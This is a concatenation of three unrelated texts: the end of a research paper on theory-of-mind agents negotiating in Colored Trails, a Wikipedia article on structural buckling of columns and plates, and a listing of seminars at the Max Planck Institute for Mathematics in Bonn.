Trails. However, these agents experience an evolutionary pressure to increase their own score at the expense of their trading partner. Through natural selection, this eventually leads to a situation in which all negotiation fails. For zero-order theory of mind agents, negotiation in Colored Trails is similar to the prisoner’s dilemma, where the competitive aspect of getting as much of the pie as possible overshadows the cooperative aspect of negotiation to the point where there no longer is any pie to share. By reasoning explicitly about the goals of the trading partner, first-order theory of mind agents prevent a complete breakdown in negotiation. However, while there are purely competitive settings in which first-order theory of mind agents outperform zero-order theory of mind agents [13, 18, 75], we find that the same is not true in our mixed-motive setting. The reason for this difference is that in strictly competitive situations, an agent that increases his own score does so by decreasing the score of his opponent. In a mixed-motive situation, an agent that increases his own score may increase the score of his trading partner as well. In Colored Trails, the first-order theory of mind agent increases his own score by preventing negotiation failure. However, this increases the score of a zero-order theory of mind trading partner even more. As a result, the zero-order theory of mind agent obtains a larger piece of the pie. Still, from the perspective of the first-order theory of mind agent, obtaining a small piece of pie is preferable to obtaining no pie at all. In future work, it would be interesting to determine whether the same holds in games with a different balance of cooperation and competition, such as in revelation games [53]. Although first-order theory of mind has a limited effectiveness in the negotiation setting we describe (cf. [59]), second-order theory of mind benefits agents greatly. When a second-order theory of mind agent negotiates with another agent capable of theory of mind, the second-order theory of mind agent typically receives the larger share of the pie. Additionally, neither agent has an incentive to deviate from the outcome that maximizes total pie size. That is, second-order theory of mind provides agents with a strategy that balances cooperative and competitive goals to the point where agents that succeed in negotiating the largest total pie possible could not have received a larger piece of pie for themselves by changing their behavior. Interestingly, this cooperative solution is achieved purely through calculated selfishness. Second-order theory of mind agents behave cooperatively, not because they have an innate sense of fairness or because they derive utility from the score of their trading partner, but because they believe that it will result in a better outcome for themselves. Our agent simulation results show that in mixed-motive settings such as negotiations, agents can benefit from the use of higher-order theory of mind. In our experiments with human participants, negotiations with $${ ToM}_{2}$$ agents indeed resulted in outcomes that were closer to the Pareto optimal boundary. In addition, both players ended up with a higher score on average when the theory of mind agent made the initial offer than when the human participant made the opening bid. Surprisingly, negotiating with a $${ ToM}_{2}$$ agent apparently encouraged participants to make use of second-order theory of mind as well. Moreover, participants adjusted their behavior relatively quickly. In the literature, experiments with adults typically show that individuals reason at low orders of theory of mind, and are slow to adjust to an opponent that reasons using theory of mind [8, 34, 38, 75]. However, in our Colored Trails setting, participants exhibited second-order theory of mind within a few games. These results suggest that theory of mind agents can encourage the use of higher-order theory of mind in human participants and may play a useful role in training people to negotiate better outcomes. ## Footnotes 1. 1. Note that mixed-motive interactions are different from risk/benefit trade-offs such as the Stag Hunt. In risk/benefit trade-off games, players prefer the same payoff-dominant outcome (hunting stag in the Stag Hunt), while players in a mixed-motive situation have different preferences concerning the outcome of the game. 2. 2. 3. 3. Increasing the length of the training phase did not alter our results. 4. 4. The experiment was set up and performed by Eveline Broers. 5. 5. Before the start of the Colored Trails experiments, participants also played several Marble Drop games [47]. Participant performance on these Marble Drop games was not correlated with their performance on the Colored Trails games. ## Notes ### Acknowledgments We thank Eveline Broers for designing, implementing, and administering the human participant experiment that we analyze here. This work was supported by the Netherlands Organisation for Scientific Research (NWO) Vici grant NWO 277-80-001, awarded to Rineke Verbrugge for the project ‘Cognitive systems in interaction: Logical and computational models of higher-order social cognition’. ## References 1. 1. Apperly, I. (2011). Mindreaders: The cognitive basis of “theory of mind”. Hove: Psychology Press.Google Scholar 2. 2. Arad, A., & Rubinstein, A. (2012). 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https://en.wikipedia.org/wiki/Sun_kink	# Buckling (Redirected from Sun kink) Buckled skin panels on a B-52 aircraft In engineering, buckling is the sudden change in shape of a structural component under load such as the bowing of a column under compression or the wrinkling of a plate under shear. If a structure is subjected to a gradually increasing load, when the load reaches a critical level, a member may suddenly change shape and the structure and component is said to have buckled. Buckling may occur even though the stresses that develop in the structure are well below those needed to cause failure in the material of which the structure is composed. Further loading may cause significant and somewhat unpredictable deformations, possibly leading to complete loss of the member's load-carrying capacity. However, if the deformations that occur after buckling do not cause the complete collapse of that member, the member will continue to support the load that caused it to buckle. If the buckled member is part of a larger assemblage of components such as a building, any load applied to the buckled part of the structure beyond that which caused the member to buckle will be redistributed within the structure. Some aircraft are designed for thin skin panels to continue carrying load even in the buckled state. ## Forms of buckling ### Columns A column under a concentric axial load exhibiting the characteristic deformation of buckling The eccentricity of the axial force results in a bending moment acting on the beam element. The ratio of the effective length of a column to the least radius of gyration of its cross section is called the slenderness ratio (sometimes expressed with the Greek letter lambda, λ). This ratio affords a means of classifying columns and their failure mode. The slenderness ratio is important for design considerations. All the following are approximate values used for convenience. If the load on a column is applied through the center of gravity (centroid) of its cross section, it is called an axial load. A load at any other point in the cross section is known as an eccentric load. A short column under the action of an axial load will fail by direct compression before it buckles, but a long column loaded in the same manner will fail by springing suddenly outward laterally (buckling) in a bending mode. The buckling mode of deflection is considered a failure mode, and it generally occurs before the axial compression stresses (direct compression) can cause failure of the material by yielding or fracture of that compression member. However, intermediate-length columns will fail by a combination of direct compressive stress and bending. In particular: • A short steel column is one whose slenderness ratio does not exceed 50; an intermediate length steel column has a slenderness ratio ranging from about 50 to 200, and its behavior is dominated by the strength limit of the material, while a long steel column may be assumed to have a slenderness ratio greater than 200 and its behavior is dominated by the modulus of elasticity of the material. • A short concrete column is one having a ratio of unsupported length to least dimension of the cross section equal to or less than 10. If the ratio is greater than 10, it is considered a long column (sometimes referred to as a slender column). • Timber columns may be classified as short columns if the ratio of the length to least dimension of the cross section is equal to or less than 10. The dividing line between intermediate and long timber columns cannot be readily evaluated. One way of defining the lower limit of long timber columns would be to set it as the smallest value of the ratio of length to least cross sectional area that would just exceed a certain constant K of the material. Since K depends on the modulus of elasticity and the allowable compressive stress parallel to the grain, it can be seen that this arbitrary limit would vary with the species of the timber. The value of K is given in most structural handbooks. The theory of the behavior of columns was investigated in 1757 by mathematician Leonhard Euler. He derived the formula, the Euler formula, that gives the maximum axial load that a long, slender, ideal column can carry without buckling. An ideal column is one that is perfectly straight, made of a homogeneous material, and free from initial stress. When the applied load reaches the Euler load, sometimes called the critical load, the column comes to be in a state of unstable equilibrium. At that load, the introduction of the slightest lateral force will cause the column to fail by suddenly "jumping" to a new configuration, and the column is said to have buckled. This is what happens when a person stands on an empty aluminum can and then taps the sides briefly, causing it to then become instantly crushed (the vertical sides of the can understood as an infinite series of extremely thin columns).[citation needed] The formula derived by Euler for long slender columns is given below. ${\displaystyle F={\frac {\pi ^{2}EI}{(KL)^{2}}}}$ where ${\displaystyle F}$, maximum or critical force (vertical load on column), ${\displaystyle E}$, modulus of elasticity, ${\displaystyle I}$, smallest area moment of inertia (second moment of area) of the cross section of the column, ${\displaystyle L}$, unsupported length of column, ${\displaystyle K}$, column effective length factor, whose value depends on the conditions of end support of the column, as follows. For both ends pinned (hinged, free to rotate), ${\displaystyle K=1.0}$. For both ends fixed, ${\displaystyle K=0.50}$. For one end fixed and the other end pinned, ${\displaystyle K={\sqrt {2}}/2=0.7071}$ For one end fixed and the other end free to move laterally, ${\displaystyle K=2.0}$. ${\displaystyle KL}$ is the effective length of the column. Examination of this formula reveals the following facts with regard to the load-bearing ability of slender columns. • The elasticity of the material of the column and not the compressive strength of the material of the column determines the column's buckling load. • The buckling load is directly proportional to the second moment of area of the cross section. • The boundary conditions have a considerable effect on the critical load of slender columns. The boundary conditions determine the mode of bending of the column and the distance between inflection points on the displacement curve of the deflected column. The inflection points in the deflection shape of the column are the points at which the curvature of the column changes sign and are also the points at which the column's internal bending moments of the column are zero. The closer the inflection points are, the greater the resulting axial load capacity (bucking load) of the column. A demonstration model illustrating the different "Euler" buckling modes. The model shows how the boundary conditions affect the critical load of a slender column. Notice that the columns are identical, apart from the boundary conditions. A conclusion from the above is that the buckling load of a column may be increased by changing its material to one with a higher modulus of elasticity (E), or changing the design of the column's cross section so as to increase its moment of inertia. The latter can be done without increasing the weight of the column by distributing the material as far from the principal axis of the column's cross section as possible. For most purposes, the most effective use of the material of a column is that of a tubular section. Another insight that may be gleaned from this equation is the effect of length on critical load. Doubling the unsupported length of the column quarters the allowable load. The restraint offered by the end connections of a column also affects its critical load. If the connections are perfectly rigid (does not allowing rotation of its ends), the critical load will be four times that for a similar column where the ends are pinned (allowing rotation of its ends). Since the radius of gyration is defined as the square root of the ratio of the column's moment of inertia about an axis to its cross sectional area, the above Euler formula may be reformatted by substituting the radius of gyration ${\displaystyle Ar^{2}}$ for ${\displaystyle I}$: ${\displaystyle \sigma ={\frac {F}{A}}={\frac {\pi ^{2}E}{(l/r)^{2}}}}$ where ${\displaystyle \sigma =F/A}$ is the stress that causes buckling the column, and ${\displaystyle l/r}$ is the slenderness ratio. Since structural columns are commonly of intermediate length, the Euler formula has little practical application for ordinary design. Issues that cause deviation from the pure Euler column behaviour include imperfections in geometry of the column in combination with plasticity/non-linear stress strain behaviour of the column's material. Consequently, a number of empirical column formulae have been developed that agree with test data, all of which embody the slenderness ratio. Due to the uncertainty in the behavior of columns, for design, appropriate safety factors are introduced into these formulae. One such formula is the Perry Robertson formula which estimates the critical buckling load based on an assumed small initial curvature, hence an eccentricity of the axial load. The Rankine Gordon formula (Named for William John Macquorn Rankine and Perry Hugesworth Gordon (1899 – 1966)) is also based on experimental results and suggests that a column will buckle at a load Fmax given by: ${\displaystyle {\frac {1}{F_{\max }}}={\frac {1}{F_{e}}}+{\frac {1}{F_{c}}}}$ where ${\displaystyle F_{e}}$ is the Euler maximum load and ${\displaystyle F_{c}}$ is the maximum compressive load. This formula typically produces a conservative estimate of ${\displaystyle F_{\max }}$. #### Self-buckling To get the mathematical demonstration read: Self-buckling A free-standing, vertical column, with density ${\displaystyle \rho }$, Young's modulus ${\displaystyle E}$, and cross-sectional area ${\displaystyle A}$, will buckle under its own weight if its height exceeds a certain critical value:[1][2][3] ${\displaystyle h_{\text{crit}}=\left({\frac {9B^{2}}{4}}\,{\frac {EI}{\rho gA}}\right)^{\frac {1}{3}}}$ where ${\displaystyle g}$ is the acceleration due to gravity, ${\displaystyle I}$ is the second moment of area of the beam cross section, and ${\displaystyle B}$ is the first zero of the Bessel function of the first kind of order −1/3, which is equal to 1.86635086… ### Plate buckling A plate is a 3-dimensional structure defined as having a width of comparable size to its length, with a thickness that is very small in comparison to its other two dimensions. Similar to columns, thin plates experience out-of-plane buckling deformations when subjected to critical loads; however, contrasted to column buckling, plates under buckling loads can continue to carry loads, called local buckling. This phenomenon is incredibly useful in numerous systems, as it allows systems to be engineered to provide greater loading capacities. For a rectangular plate, supported along every edge, loaded with a uniform compressive force per unit length, the derived governing equation can be stated by:[4] ${\displaystyle {\frac {\partial ^{4}w}{\partial x^{4}}}+2{\frac {\partial ^{4}w}{\partial x^{2}\partial y^{2}}}+{\frac {\partial ^{4}w}{\partial y^{4}}}={\frac {12\left(1-\nu ^{2}\right)}{Et^{3}}}\left(-N_{x}{\frac {\partial ^{2}w}{\partial x^{2}}}\right)}$ where ${\displaystyle w}$, out-of-plane deflection ${\displaystyle N_{x}}$, uniformly distributed compressive load ${\displaystyle \nu }$, Poisson's ratio ${\displaystyle E}$, modulus of elasticity ${\displaystyle t}$, thickness The solution to the deflection can be expanded into two harmonic functions shown:[4] ${\displaystyle w=\sum _{m=1}^{\infty }\sum _{n=1}^{\infty }w_{mn}\sin \left({\frac {m\pi x}{a}}\right)\sin \left({\frac {n\pi y}{b}}\right)}$ where ${\displaystyle m}$, number of half sine curvatures that occur lengthwise ${\displaystyle n}$, number of half sine curvatures that occur widthwise ${\displaystyle a}$, length of specimen ${\displaystyle b}$, width of specimen The previous equation can be substituted into the earlier differential equation where ${\displaystyle n}$ equals 1. ${\displaystyle N_{x}}$ can be separated providing the equation for the critical compressive loading of a plate:[4] ${\displaystyle N_{x,cr}=k_{cr}{\frac {\pi ^{2}Et^{3}}{12\left(1-\nu ^{2}\right)b}}}$ where ${\displaystyle k_{cr}}$, buckling coefficient, given by:[4] ${\displaystyle k_{cr}=\left({\frac {mb}{a}}+{\frac {a}{mb}}\right)^{2}}$ The buckling coefficient is influenced by the aspect of the specimen, ${\displaystyle a}$ / ${\displaystyle {b}}$, and the number of lengthwise curvatures. For an increasing number of such curvatures, the aspect ratio produces a varying buckling coefficient; but each relation provides a minimum value for each ${\displaystyle m}$. This minimum value can then be used as a constant, independent from both the aspect ratio and ${\displaystyle m}$.[4] Given stress is found by the load per unit area, the following expression is found for the critical stress: ${\displaystyle \sigma _{cr}=k_{cr}{\frac {\pi ^{2}E}{12\left(1-\nu ^{2}\right)\left({\frac {b}{t}}\right)^{2}}}}$ From the derived equations, it can be seen the close similarities between the critical stress for a column and for a plate. As the width ${\displaystyle b}$ shrinks, the plate acts more like a column as it increases the resistance to buckling along the plate’s width. The increase of ${\displaystyle a}$ allows for an increase of the number of sine waves produced by buckling along the length, but also increases the resistance from the buckling along the width.[4] This creates the preference of the plate to buckle in such a way to equal the number of curvatures both along the width and length. Due to boundary conditions, when a plate is loaded with a critical stress and buckles, the edges perpendicular to the load cannot deform out-of-plane and will therefore continue to carry the stresses. This creates a non-uniform compressive loading along the ends, where the stresses are imposed on half of the effective width on either side of the specimen, given by the following:[4] ${\displaystyle {\frac {b_{\text{eff}}}{b}}\approx {\sqrt {{\frac {\sigma _{cr}}{\sigma _{y}}}\left(1-1.022{\sqrt {\frac {\sigma _{cr}}{\sigma _{y}}}}\right)}}}$ where ${\displaystyle b_{\text{eff}}}$, effective width ${\displaystyle \sigma _{y}}$, yielding stress As the loaded stress increase, the effective width continues to shrink; if the stresses on the ends ever reaches the yield stress, the plate will fail. This is what allows the buckled structure to continue supporting loadings. When the axial load over the critical load is plotted against the displacement, the fundamental path is shown. It demonstrates the plate's similarity to a column under buckling; however, past the buckling load, the fundamental path bifurcates into a secondary path that curves upward, providing the ability to be subjected to higher loads past the critical load. ### Flexural-torsional buckling Flexural-torsional buckling can be described as a combination of bending and twisting response of a member in compression. Such a deflection mode must be considered for design purposes. This mostly occurs in columns with "open" cross-sections and hence have a low torsional stiffness, such as channels, structural tees, double-angle shapes, and equal-leg single angles. Circular cross sections do not experience such a mode of buckling. ### Lateral-torsional buckling Lateral-torsional buckling of an I-beam with vertical force in center: a) longitudinal view, b) cross section near support, c) cross section in center with lateral-torsional buckling When a simply supported beam is loaded in flexure, the top side is in compression, and the bottom side is in tension. If the beam is not supported in the lateral direction (i.e., perpendicular to the plane of bending), and the flexural load increases to a critical limit, the beam will experience a lateral deflection of the compression flange as it buckles locally. The lateral deflection of the compression flange is restrained by the beam web and tension flange, but for an open section the twisting mode is more flexible, hence the beam both twists and deflects laterally in a failure mode known as lateral-torsional buckling. In wide-flange sections (with high lateral bending stiffness), the deflection mode will be mostly twisting in torsion. In narrow-flange sections, the bending stiffness is lower and the column's deflection will be closer to that of lateral bucking deflection mode. The use of closed sections such as square hollow section will mitigate the effects of lateral-torsional buckling by virtue of their high torsional rigidity. Cb is a modification factor used in the equation for nominal flexural strength when determining lateral-torsional buckling. The reason for this factor is to allow for non-uniform moment diagrams when the ends of a beam segment are braced. The conservative value for Cb can be taken as 1, regardless of beam configuration or loading, but in some cases it may be excessively conservative. Cb is always equal to or greater than 1, never less. For cantilevers or overhangs where the free end is unbraced, Cb is equal to 1. Tables of values of Cb for simply supported beams exist. If an appropriate value of Cb is not given in tables, it can be obtained via the following formula: ${\displaystyle C_{b}={\frac {12.5M_{\max }}{2.5M_{\max }+3M_{A}+4M_{B}+3M_{C}}}}$ where ${\displaystyle M_{\max }}$, absolute value of maximum moment in the unbraced segment, ${\displaystyle M_{A}}$, absolute value of maximum moment at quarter point of the unbraced segment, ${\displaystyle M_{B}}$, absolute value of maximum moment at centerline of the unbraced segment, ${\displaystyle M_{C}}$, absolute value of maximum moment at three-quarter point of the unbraced segment, The result is the same for all unit systems. ### Plastic buckling The buckling strength of a member is less than the elastic buckling strength of a structure if the material of the member is stressed beyond the elastic material range and into the non-linear (plastic) material behavior range. When the compression load is near the buckling load, the structure will bend significantly and the material of the column will diverge from a linear stress-strain behavior. The stress-strain behavior of materials is not strictly linear even below the yield point, hence the modulus of elasticity decreases as stress increases, and significantly so as the stresses approach the material's yield strength. This reduced material rigidity reduces the buckling strength of the structure and results in a buckling load less than that predicted by the assumption of linear elastic behavior. A more accurate approximation of the buckling load can be had by the use of the tangent modulus of elasticity, Et, which is less than the elastic modulus, in place of the elastic modulus of elasticity. The tangent is equal to the elastic modulus and then decreases beyond the proportional limit. The tangent modulus is a line drawn tangent to the stress-strain curve at a particular value of strain (in the elastic section of the stress-strain curve, the tangent modulus is equal to the elastic modulus). Plots of the tangent modulus of elasticity for a variety of materials are available in standard references. ### Crippling Sections that are made up of flanged plates such as a channel, can still carry load in the corners after the flanges have locally buckled. Crippling is failure of the complete section.[5] ### Diagonal tension Sheets under diagonal tension are supported by stiffeners that as a result of sheet buckling carry a distributed load along their length, and may in turn result in these structural members failing under buckling. Thicker plates may only partially form a diagonal tension field and may continue to carry some of the load through shear. This is known as incomplete diagonal tension (IDT). This behavior was studied by Wagner and these beams are sometimes known as Wagner beams[5] Diagonal tension may also result in a pulling force on any fasteners such as rivets that are used to fasten the web to the supporting members. Fasteners and sheets must be designed to resist being pulled off their supports. ### Dynamic buckling If a column is loaded suddenly and then the load released, the column can sustain a much higher load than its static (slowly applied) buckling load. This can happen in a long, unsupported column used as a drop hammer. The duration of compression at the impact end is the time required for a stress wave to travel along the column to the other (free) end and back down as a relief wave. Maximum buckling occurs near the impact end at a wavelength much shorter than the length of the rod, and at a stress many times the buckling stress of a statically-loaded column. The critical condition for buckling amplitude to remain less than about 25 times the effective rod straightness imperfection at the buckle wavelength is ${\displaystyle \sigma L=\rho c^{2}h}$ where ${\displaystyle \sigma }$ is the impact stress, ${\displaystyle L}$ is the length of the rod, ${\displaystyle c}$ is the elastic wave speed, and ${\displaystyle h}$ is the smaller lateral dimension of a rectangular rod. Because the buckle wavelength depends only on ${\displaystyle \sigma }$ and ${\displaystyle h}$, this same formula holds for thin cylindrical shells of thickness ${\displaystyle h}$.[6] ## Theory ### Energy method Often it is very difficult to determine the exact buckling load in complex structures using the Euler formula, due to the difficulty in determining the constant K. Therefore, maximum buckling load is often approximated using energy conservation and referred to as an energy method in structural analysis. The first step in this method is to assume a displacement mode and a function that represents that displacement. This function must satisfy the most important boundary conditions, such as displacement and rotation. The more accurate the displacement function, the more accurate the result. The method assumes that the system (the column) is a conservative system in which energy is not dissipated as heat, hence the energy added to the column by the applied external forces is stored in the column in the form of strain energy. ${\displaystyle U_{\text{applied}}=U_{\text{strain}}}$ In this method, there are two equations used (for small deformations) to approximate the "strain" energy (the potential energy stored as elastic deformation of the structure) and "applied" energy (the work done on the system by external forces). {\displaystyle {\begin{aligned}U_{\text{strain}}&={\frac {E}{2}}\int I(x)(w_{xx}(x))^{2}\,dx\\U_{\text{applied}}&={\frac {P_{\text{crit}}}{2}}\int (w_{x}(x))^{2}\,dx\end{aligned}}} where ${\displaystyle w(x)}$ is the displacement function and the subscripts ${\displaystyle x}$ and ${\displaystyle xx}$ refer to the first and second derivatives of the displacement. ### Single-degree-of-freedom models Using the concept of total potential energy, ${\displaystyle V}$, it is possible to identify four fundamental forms of buckling found in structural models with one degree of freedom. We start by expressing ${\displaystyle V=U-P\Delta }$ where ${\displaystyle U}$ is the strain energy stored in the structure, ${\displaystyle P}$ is the applied conservative load and ${\displaystyle \Delta }$ is the distance moved by ${\displaystyle P}$ in its direction. Using the axioms of elastic instability theory, namely that equilibrium is any point where ${\displaystyle V}$ is stationary with respect to the coordinate measuring the degree(s) of freedom and that these points are only stable if ${\displaystyle V}$ is a local minimum and unstable if otherwise (e.g. maximum or a point of inflection)[7]. These four forms elastic buckling are the saddle-node bifurcation or limit point; the supercritical or stable-symmetric bifurcation; the subcritical or unstable-symmetric bifurcation; and the transcritical or asymmetric bifurcation. All but the first of these examples is a form of pitchfork bifurcation. Simple models for each of these types of buckling behaviour are shown in the figures below, along with the associated bifurcation diagrams. Single-degree-of-freedom (SDoF) rigid link models depicting four distinct types of buckling phenomena. The spring in each model is unstressed when ${\displaystyle q=0}$. Limit Point Stable-symmetric bifurcation Unstable-symmetric bifurcation Asymmetric bifurcation A tied truss model with inclinde links and horizontal spring. Bifurcation diagrams (blue) for the above models with the energy function (red) animated at different values of load, ${\displaystyle P}$ (black). Note, the load is on the vertical axis. All graphs are in non-dimensional form. ${\displaystyle P^{C}=c/(2L)}$ ${\displaystyle P^{C}=kL/2}$ ${\displaystyle P^{C}=kL/2}$ ## Engineering examples ### Bicycle wheels A conventional bicycle wheel consists of a thin rim kept under high compressive stress by the (roughly normal) inward pull of a large number of spokes. It can be considered as a loaded column that has been bent into a circle. If spoke tension is increased beyond a safe level or if part of the rim is subject to a certain lateral force, the wheel spontaneously fails into a characteristic saddle shape (sometimes called a "taco" or a "pringle") like a three-dimensional Euler column. If this is a purely elastic deformation the rim will resume its proper plane shape if spoke tension is reduced or a lateral force from the opposite direction is applied. Buckling is also a failure mode in pavement materials, primarily with concrete, since asphalt is more flexible. Radiant heat from the sun is absorbed in the road surface, causing it to expand, forcing adjacent pieces to push against each other. If the stress is great enough, the pavement can lift up and crack without warning. Going over a buckled section can be very jarring to automobile drivers, described as running over a speed hump at highway speeds. ### Rail tracks Railway tracks in the Netherlands affected by Sun kink. Similarly, rail tracks also expand when heated, and can fail by buckling, a phenomenon called sun kink. It is more common for rails to move laterally, often pulling the underlying ties (sleepers) along. These accidents were deemed to be sun kink related (more information available at List of rail accidents (2000–2009)): ### Pipes and pressure vessels Pipes and pressure vessels subject to external overpressure, caused for example by steam cooling within the pipe and condensing into water with subsequent massive pressure drop, risk buckling due to compressive hoop stresses. Design rules for calculation of the required wall thickness or reinforcement rings are given in various piping and pressure vessel codes. ## References 1. ^ Kato, K. (1915). "Mathematical Investigation on the Mechanical Problems of Transmission Line". Journal of the Japan Society of Mechanical Engineers. 19: 41. 2. ^ Ratzersdorfer, Julius (1936). Die Knickfestigkeit von Stäben und Stabwerken [The buckling resistance of members and frames] (in German). Wein, Austria: J. Springer. pp. 107–109. ISBN 978-3-662-24075-5. 3. ^ Cox, Steven J.; C. Maeve McCarthy (1998). "The Shape of the Tallest Column". SIAM Journal on Mathematical Analysis. 29 (3): 547–554. doi:10.1137/s0036141097314537. 4. Bulson, P. S. (1970). Theory of Flat Plates. Chatto and Windus, London. 5. ^ a b c Bruhn, E. F. (1973). Analysis and Design of Flight Vehicle Structures. Indianapolis: Jacobs. 6. ^ Lindberg, H. E.; Florence, A. L. (1987). Dynamic Pulse Buckling. Martinus Nijhoff Publishers. pp. 11–56, 297–298. 7. ^ Thompson, J.M.T.; Hunt, G.W. (1973). A general theory of elastic stability. London: John Wiley. ISBN 9780471859918. 8. ^ Lucero, Kat (2012-07-07). "Misaligned Track from Heat 'Probable Cause' In Green Line Derailment". DCist. American University Radio. Archived from the original on 2018-02-04. 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http://www.mpim-bonn.mpg.de/taxonomy/term/41/full	# Seminar Series of talks or seminars. ## Friedrich Hirzebruch Lecture Posted in Location: University Club Bonn The annual Friedrich Hirzebruch Lecture is a series of lectures started in 2007 on the occasion of the 80th birthday of Prof. Friedrich Hirzebruch. The lectures address a general audience and aim at illustrating the relation between mathematics and art, society and other fields. ## MPI-Oberseminar Posted in Organiser(s): C. Kaiser Date: Thu, 2013-01-31 15:00 - Thu, 2026-12-31 16:00 Location: MPIM Lecture Hall The Oberseminar is a very long running seminar at MPI (‘Ober‘ standing for 'upper'). Its idea is that the guests of the MPI speak in this seminar (hopefully early in their stay) and get the chance to explain their work to the other guests. This often leads to further mathematical interaction, and in any case it is very interesting to know what one's colleagues are working on. This implies two things: 1. When you speak at the Oberseminar you should try to make sure that your talk is understandable and interesting to everyone, not just to the people in the same field. (We have many specialized seminars where you can present your work at a more technical level.) 2. Please always attend the Oberseminar, even if the title of the talk seems technical, because you know that the speaker is going to do a good job. The only reason for absence is that the talk is in your field and thus will be too easy for you. We hope to see you at the Oberseminar! Christian Kaiser (organizer) The directors: Prof. Ballmann Prof. Faltings Prof. Harder Prof. Hirzebruch † Prof. Manin Prof. Teichner Prof. Zagier Upcoming talks ### Thu, 27 Jun 2019 15:00 - 16:00 Noriko Yui Past talks For the abstracts click on the titles or see the list of abstracts. ### Wed, 19 Jun 2019 15:00 - 16:00 Alexander Koldobsky ### Thu, 13 Jun 2019 15:00 - 16:00 Damian Sawicki, Emily Norton, Severon Barmeier ### Thu, 23 May 2019 15:00 - 16:00 Yuki Hirano, Michael Mertens, Rostislav Devyatov 15:00 - 16:00 Tam Nguyen Phan 15:00 - 16:00 Mark Penney 15:00 - 16:00 Nikolaos Tziolas 15:00 - 16:00 Anna Wienhard 13:45 - 14:45 Christian Bär 15:00 - 16:00 Ferrán Valdez ### Thu, 04 Apr 2019 15:00 - 16:00 Vinoth Nandakamur, Jack Shotton ### Thu, 28 Mar 2019 15:00 - 16:00 Jian Zhang, Laura Pertusi 15:00 - 16:00 Alexander Betts ### Thu, 14 Mar 2019 15:00 - 16:00 Arnab Saha, Riccardo Iraso ### Thu, 07 Mar 2019 15:00 - 16:00 Zhengfang Wang, Andriy Regeta ### Thu, 21 Feb 2019 15:00 - 16:00 Stavros Garoufalidis 15:00 - 16:00 Rekha Biswal ### Thu, 07 Feb 2019 15:00 - 16:00 Pablo Mauricio Zadunaisky, Rouven Frassek, Felix Wierstra ### Thu, 24 Jan 2019 15:00 - 16:00 Yongsheng Zhang, Elizaveta Vishnyakova, Taiwang Deng ### Thu, 17 Jan 2019 15:00 - 16:00 Hongyi Chu, Vladimir Mitankin, Dinh Tuan Huynh ### Thu, 10 Jan 2019 15:00 - 16:00 Hisatoshi Kodani, Panagiotis Polymerakis, Ögmundur Eiriksson ### Thu, 13 Dec 2018 15:00 - 16:00 Martin Gonzales, Evangelos Routi, Marc Stephan ### Thu, 06 Dec 2018 15:00 - 16:00 Arthur Soulie, Roberto Fringuelli, Lorant Szegedy ### Thu, 29 Nov 2018 15:00 - 16:00 Severin Charbonnier, Falk Beckert ### Thu, 15 Nov 2018 15:00 - 16:00 Robin Bartlett, Luca Battistella, Lauren Bandklayder ### Thu, 08 Nov 2018 15:00 - 16:00 Gautier Ponsinet, Carlo Pagano, Alexander Adam ### Thu, 25 Oct 2018 15:00 - 16:00 Charles Fougeron, Christine McMeekin, Joost Nuiten ### Thu, 18 Oct 2018 15:00 - 16:00 Alexandra Kjuchukova, Bingxiao Liu, Fosco Loregian ### Thu, 11 Oct 2018 15:00 - 16:00 Daniel El-Baz, Stefano Marseglia, Diego Izquierdo ### Thu, 04 Oct 2018 15:00 - 16:00 Magnus Carlson, Andrea Ferraguti, Matthew Bisatt ### Thu, 27 Sep 2018 15:00 - 16:00 Sylvaine Lavau, Nicholas Cooney, Nima Rasekh ### Thu, 20 Sep 2018 15:00 - 16:00 Noemie Combe, Tinhinane Azzouz, Alberto Cavallo ### Thu, 13 Sep 2018 15:00 - 16:00 Sheng Meng, Xin Wang, Matthew Young 15:00 - 16:00 Travis Schedler 15:00 - 16:00 Ingrid Irmer ### Thu, 16 Aug 2018 15:00 - 16:00 Tobias Dyckerhoff ### Thu, 09 Aug 2018 15:00 - 16:00 Genki Ouchi, Benjamin Cooper, Mona Merling 15:00 - 16:00 Michael Levin 15:00 - 16:00 Travis Schedler 15:00 - 16:00 Mikhail Bondarko ### Thu, 12 Jul 2018 15:00 - 16:00 Ayberk Zeytin, Roman Fedorov, Yusuf Mustopa 15:00 - 15:50 Curtis McMullen ### Thu, 28 Jun 2018 15:00 - 16:00 Dong Sung Yoon, David Carchedi, Samuel Grushevsky 15:00 - 16:00 Boulos El Hilany ### Thu, 14 Jun 2018 15:00 - 16:00 Linhui Shen, Kwangho Choiy, Sarah Dijols 14:30 - 15:30 ### Thu, 24 May 2018 15:00 - 16:00 Dmitry Sustretov, Cary Malkiewich, Yafet Sanchez Sanchez 12:51 - 13:51 15:00 - 16:00 Sergei Gukov 15:00 - 16:00 Dmitri Panyushev 15:00 - 16:00 Peter Zograf ## IMPRS seminar on various topics: infinity-categories Posted in Organiser(s): Christian Kaiser Affiliation: MPIM Date: Wed, 2019-06-05 14:15 - 15:45 Location: MPIM Seminar Room ## Seminar on Weighted Hurwitz numbers and topological recursion Posted in Organiser(s): Dan Betea and Danilo Lewanski Date: Wed, 2019-05-08 00:00 - 00:01 ## IMPRS seminar on various topics: operads Posted in Organiser(s): Christian Kaiser Affiliation: MPIM Date: Wed, 2019-04-10 16:30 - Fri, 2019-07-12 18:00 ## PLeaSANT (Participative learning seminar analytic number theory) Posted in Organiser(s): Pieter Moree, Alisa Sedunova, Efthymios Sofos Date: Wed, 2019-01-09 16:30 - Wed, 2020-01-08 17:30 Location: MPIM Lecture Hall ## Seminar on Topological insulators Posted in Date: Wed, 2019-02-13 14:00 - 18:00 ## Seminar on tilting characters of reductive groups Posted in Organiser(s): Hankyung Ko Date: Fri, 2019-02-08 15:00 - 18:00 Location: MPIM Seminar Room ## Geometric recursion learning seminar Posted in Organiser(s): Alessandro Giacchetto and Danilo Lewanski Date: Mon, 2018-10-22 14:00 - Fri, 2019-12-20 15:00 Location: MPIM Lecture Hall ### Content Geometric Recursion (GR) is a fairly new technique that extends the usual Topological Recursion (TR) theory by means of Teichmüller theory, and relates to several results of Maryam Mirzakhani. It sits in the interplay between many areas of mathematics as mathematical physics, algebraic geometry and category theory. The first part of the learning seminar aims to define and introduce GR. The second part of the seminar is more open and it will be tailored during the first weeks according to the taste of the participants towards open research questions. ## DyGIT Seminar: (Dynamics, Geometry and Interactions on Tuesdays) Posted in Organiser(s): Polyxeni Spilioti, Francisco Javier Torres de Lizaur Date: Fri, 2018-10-05 09:02 - Mon, 2019-09-30 10:02 ## Seminar Geometry and Dynamics Posted in Organiser(s): Polyxeni Spilioti and Francisco Javier Torres de Lizaur Date: Tue, 2018-09-25 16:30 - 17:30 Location: MPIM Seminar 